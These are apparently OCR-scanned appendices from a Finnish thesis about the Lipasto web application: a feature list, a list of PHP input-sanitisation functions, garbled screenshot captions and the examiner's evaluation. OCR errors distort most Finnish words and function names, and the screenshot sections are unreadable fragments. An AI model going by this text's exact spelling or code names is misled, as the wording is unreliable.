o Kiyttdja pystyy muokkaamaan omia viestejdén ilmoitustaululla
o Kiyttdjd pystyy poistamaan omia viestejdin ilmoitustaululta
o Kiyttdjad pystyy kommentoimaan ilmoitustaulun viestejé
o Kiyttdjad pystyy muokkaamaan omia kommenttejaan ilmoitustaululla
o Kiyttdjd pystyy poistamaan omia kommenttejaan ilmoitustaululta
e Etusivulta on selattavissa Lokeron jisenien seuraava syntymépiiva
¢ FEtusivulta on selattavissa Lokeron uusin kuva
¢ FEtusivulta on selattavissa viimeeksi kommentoitu kuva
o Galleria-sivulla kiyttdja pystyy selaamaan kuvakansioita
e Galleria-sivulla kdyttdjad pystyy poistamaan itse luomiaan kansioita
e Kun kansio poistetaan kuvat siirtyvit véliaikaiseen “temp”-kansioon
¢ Galleria-sivulla kiyttdja pystyy selaamaan kansioiden kuvia ja videoita
o Galleria-sivulla kédyttdja pystyy tarkastelemaan yksittiistd kuvaa tai videota
o Kuvasta ndkee latausajankohdan, kuvan koon, kuvatekstin ja kommenttien
madrdn
e Kiyttdjd voi selata kommentteja

o Kiyttdjd voi kirjoittaa kommentteja
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Kayttdja voi muokata ja poistaa omia kommentteja

Kayttdja voi muuttaa oman kuvan kansiota ja kuvatekstid sekd poistaa kuvan
Kéyttdjd voi muuttaa videon kansiota ja kuvausta sekd poistaa videon
Kayttdja voi lisétd uuden kuvan

Kayttdja voi luoda uudelle kuvalle kansion

Kayttdja voi antaa uudelle kansiolle nimen ja kuvauksen

Kéyttdja voi luoda uuden kansion johon kuvia ja videoita voi lisété
Kayttdja voi kirjoittaa uudelle kuvalle kuvauksen

Kayttdja voi lisétd uuden videon

Kayttdja voi kirjoittaa uudelle videolle otsikon

Kayttdja voi madritelld uudelle videolle kansion

Kayttdja ndkee listan Lokeron jésenisté

Kayttdja voi katsella tietyn Lokeron jasenen tarkempia tietoja
Kayttdja voi kutsua uusia jasenid Lokeroon

Kayttdja voi muokata omia tietojaan

Kéyttdja voi vaihtaa salasanansa

Kéayttdja voi testata oman kotisivunsa osoitteeksi antamansa osoitteen
toimivuuden

Kayttdjd voi vaihtaa oletus-Lokeroaan

Kaéyttdja voi kirjautua ulos jarjestelmésti

Yllépitdja voi hyviksyéd kutsuja

Yllédpitdja voi kutsua uusia jésenid Lokeroon ilman toisen hyviaksyntdi

Lokeron omistaja voi ottaa ylldpitdjalta ylldpitdja-oikeuden pois



Liite 10: Lista kiayttimistaimme syotteidenpuhdistusfunktioista
e int val
o mysql real escape string
o strlen
e is uploaded file
e strip_tags
e nl2br
o htmlspecialchars
e trim
o str replace
o stripslashes
e isset

e in_array
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Liite 11: Kuvakaappaus Lipaston etusivusta

ES
=
=

E=

o
=

=
=

[
o

Mika on Lipasto?




58

Liite 12: Kuvakaappaus yksittiisen Lokeron etusivusta

ajat
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=
T
g
=
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H
9 Tervetuloa takaisin Ton
ik Lokeroon kutsutut kaytt
'a Keskustelupalsta

Lipasto - Eka testilokero.
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Tietojenkasittely / Salo

OPINNAYTETYON ARVIOINTI

Tekijat Toni Korpela, Kalle Palokankare
Tyon nimi Lipasto-sovelluksen toteuttaminen
Tybssa nakyy tekijoiden ammattitaito, kyky oppia uutta ja halu kehittya
Yleisarvio paremmaksi. Sovelluksen ohjelmointi on ollut erittdin asiantuntevaa,
puutteet liittyvat projektin maarittelyyn ja sovelluksen ja projektin
dokumentaatioon.
Aihge_r_i taﬁ _ . Lipasto-jarjestelman toteuttaminen on antanut hyvan mahdollisuuden
kehittamistehtavan soveltaa ja kehittdd ammatillisia taitoja. Puutteena voidaan nahda se,
asettelu ja etta projektilia ei ole toimeksiantajaa, jolloin esim. jarjestelm&versioiden

suunnitelma

Tehtdvan toteutus
ja tulokset

Raportointi ja
dokumentointi

Opinnaytetyo-
prosessi

hyvaksymistestaukset ja -kokoukset jaavat pois. Opinnaytetyoprojektin
maarittely ja rajaus olisi voinut olla hieman selkedmpi: mitka olivat
opinnaytetydprojektin tavoitteet (esim. esitella Lipaston tiettyjen osien
ohjelmointity6td vaiko esitelld Lipastoa tuotteena), mitk& asiat kuuluivat
Lipasto-projektiin, mutta eivat sisaltyneet opinndytetydhon.

Tydmenetelmid, kaytettyjd apuvalineitd ja niiden valintaperusteita on
selostettu erinomaisesti. Lipaston chjelmointi on ollut ammattimaista ja
asiantuntevaa, erityisesti kayttoliittyman suunnittelu ja toteutus ja
tietoturvan&kékohtien huomioiminen ohjelmakoodissa. Tekijat esittavat
projektista arvioita ja huomioita, jotka ovat hyddyllisid muille ohjelmoijille.

Raportin perusteella sovelluskehityksessa ei ole ollut selkeitid vaiheita
protoversioineen ja testauksineen. Jarjestelman testausta ei ole
dokumentoitu. Raportissa olevien nayttokaappausten perusteella
festidatan maara on ollut hyvin pieni, Lokeroita on vain yksi ja vain
ohjelmoijat itse ovat testanneet jarjestelmaa.

Raportista ei kay selkedsti ilmi, mitka osat Lipastosta toteutuivat, mitka
eivat. Lopussa olisi voinut enemmankin arvioida, osoittautuivatko alussa
tehdyt menetelma- ja valinevalinnat hyodyillisiksi, helpottivatko vaiko
vaikeuttivatko tyota (ohjelmointistandardi, phpDocumentor jne.)

Jarjestelmasta on tehty sindnsa oikeanlaisia dokumentteja, mutta
dokumentointi tuntuu hieman sattumanvaraiselta. Jarjestelman
kuvauksissa, kayttoliittymassa, kasitemallissa ja tietomallissa on kaytetty
eri kasitteitd, joiden vastaavuutta ei ole dokumentoitu. Jarjestelman
kasitteiden selostusta, kasiteluetteloa synonyymeineen, ei ole.

Raportin rakenne on selkea. Kielellinen ilmaisu kehittyi prosessin aikana
huomattavasti. Jonkin verran on vield monimutkaisia, monesta lauseesta
koostuvia virkkeitd. Tekstikappaleet voisivat olla tasapainoisempia:
toisaalla on liian lyhyita alalukuja ja toisaalla pitkia teksteja ilman
kappalejakoja. Suullinen esitys oli hyvin valmisteltu ja onnistui hyvin.

Tyoskentely oli maaratietoista ja sujuvaa ja yhteistyd ja kommunikointi
tekijoiden valilla naytti toimivan todella hyvin. Tyoskentely perustui
tekijoiden omaan ajatteluun ja ammattitaitoon ja tekijat osasivat soveltaa
ohjeita ja ohjauksessa saamaansa palautetta omatoimisesti ja
onnistuneesti. Mallikas prosessil
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